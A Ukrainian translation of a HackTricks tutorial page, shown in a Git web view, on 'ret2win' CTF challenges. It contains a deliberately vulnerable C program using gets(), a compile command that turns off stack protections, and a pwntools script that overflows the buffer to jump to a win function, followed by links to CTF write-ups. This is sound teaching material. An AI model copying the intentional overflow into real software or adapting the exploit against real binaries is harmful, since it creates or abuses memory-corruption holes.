108 lines
9.3 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Ret2win
{{#include ../../../banners/hacktricks-training.md}}
## Basic Information
**Ret2win** завдання є популярною категорією в **Capture The Flag (CTF)** змаганнях, особливо в завданнях, що пов'язані з **binary exploitation**. Мета полягає в тому, щоб експлуатувати вразливість у даному бінарному файлі для виконання конкретної, не викликаної функції в бінарному файлі, яка часто називається чимось на кшталт `win`, `flag` тощо. Ця функція, коли її виконують, зазвичай виводить прапор або повідомлення про успіх. Завдання зазвичай передбачає перезаписування **адреси повернення** в стеку, щоб відвести потік виконання до бажаної функції. Ось більш детальне пояснення з прикладами:
### C Example
Розглянемо просту програму на C з вразливістю та функцією `win`, яку ми маємо намір викликати:
```c
#include <stdio.h>
#include <string.h>
void win() {
printf("Congratulations! You've called the win function.\n");
}
void vulnerable_function() {
char buf[64];
gets(buf); // This function is dangerous because it does not check the size of the input, leading to buffer overflow.
}
int main() {
vulnerable_function();
return 0;
}
```
Щоб скомпілювати цю програму без захисту стеку та з вимкненим **ASLR**, ви можете використати наступну команду:
```sh
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
```
- `-m32`: Скомпілювати програму як 32-бітний бінарний файл (це необов'язково, але поширено в CTF завданнях).
- `-fno-stack-protector`: Вимкнути захист від переповнень стеку.
- `-z execstack`: Дозволити виконання коду в стеку.
- `-no-pie`: Вимкнути Position Independent Executable, щоб адреса функції `win` не змінювалася.
- `-o vulnerable`: Назвати вихідний файл `vulnerable`.
### Python Exploit using Pwntools
Для експлойту ми використаємо **pwntools**, потужний CTF фреймворк для написання експлойтів. Скрипт експлойту створить payload для переповнення буфера та перезапису адреси повернення адресою функції `win`.
```python
from pwn import *
# Set up the process and context for the binary
binary_path = './vulnerable'
p = process(binary_path)
context.binary = binary_path
# Find the address of the win function
win_addr = p32(0x08048456) # Replace 0x08048456 with the actual address of the win function in your binary
# Create the payload
# The buffer size is 64 bytes, and the saved EBP is 4 bytes. Hence, we need 68 bytes before we overwrite the return address.
payload = b'A' * 68 + win_addr
# Send the payload
p.sendline(payload)
p.interactive()
```
Щоб знайти адресу функції `win`, ви можете використовувати **gdb**, **objdump** або будь-який інший інструмент, який дозволяє вам перевіряти бінарні файли. Наприклад, з `objdump` ви можете використовувати:
```sh
objdump -d vulnerable | grep win
```
Ця команда покаже вам асемблер функції `win`, включаючи її початкову адресу.
Python-скрипт надсилає ретельно підготовлене повідомлення, яке, оброблене функцією `vulnerable_function`, переповнює буфер і перезаписує адресу повернення в стеку адресою `win`. Коли `vulnerable_function` повертається, замість повернення до `main` або виходу, вона переходить до `win`, і повідомлення виводиться.
## Захист
- [**PIE**](../../common-binary-protections-and-bypasses/pie/index.html) **повинен бути вимкнений**, щоб адреса була надійною під час виконання, інакше адреса, де буде зберігатися функція, не завжди буде однаковою, і вам знадобиться якийсь leak, щоб зрозуміти, де завантажена функція win. У деяких випадках, коли функція, що викликає переповнення, є `read` або подібною, ви можете зробити **Часткове Перезаписування** 1 або 2 байтів, щоб змінити адресу повернення на функцію win. Через те, як працює ASLR, останні три шістнадцяткові нібли не рандомізовані, тому є **1/16 шанс** (1 нібл) отримати правильну адресу повернення.
- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) також повинні бути вимкнені, інакше скомпрометована адреса повернення EIP ніколи не буде виконана.
## Інші приклади та посилання
- [https://ir0nstone.gitbook.io/notes/types/stack/ret2win](https://ir0nstone.gitbook.io/notes/types/stack/ret2win)
- [https://guyinatuxedo.github.io/04-bof_variable/tamu19_pwn1/index.html](https://guyinatuxedo.github.io/04-bof_variable/tamu19_pwn1/index.html)
- 32 біт, без ASLR
- [https://guyinatuxedo.github.io/05-bof_callfunction/csaw16_warmup/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/csaw16_warmup/index.html)
- 64 біти з ASLR, з leak адреси бінарника
- [https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html)
- 64 біти, без ASLR
- [https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html)
- 32 біти, без ASLR, подвійне мале переповнення, спочатку переповнює стек і збільшує розмір другого переповнення
- [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html)
- 32 біт, relro, без канарки, nx, без pie, форматний рядок для перезапису адреси `fflush` з функцією win (ret2win)
- [https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html)
- 32 біт, nx, нічого іншого, часткове перезаписування EIP (1 байт) для виклику функції win
- [https://guyinatuxedo.github.io/15-partial_overwrite/tuctf17_vulnchat2/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/tuctf17_vulnchat2/index.html)
- 32 біт, nx, нічого іншого, часткове перезаписування EIP (1 байт) для виклику функції win
- [https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html)
- Програма лише перевіряє останній байт числа, щоб перевірити розмір введення, тому можливо додати будь-який розмір, якщо останній байт знаходиться в дозволеному діапазоні. Тоді введення створює переповнення буфера, яке експлуатується за допомогою ret2win.
- [https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/](https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/)
- 64 біти, relro, без канарки, nx, pie. Часткове перезаписування для виклику функції win (ret2win)
- [https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/](https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/)
- arm64, PIE, він дає leak PIE, функція win насправді є 2 функціями, тому ROP гаджет, який викликає 2 функції
- [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/)
- ARM64, off-by-one для виклику функції win
## Приклад ARM64
{{#ref}}
ret2win-arm64.md
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}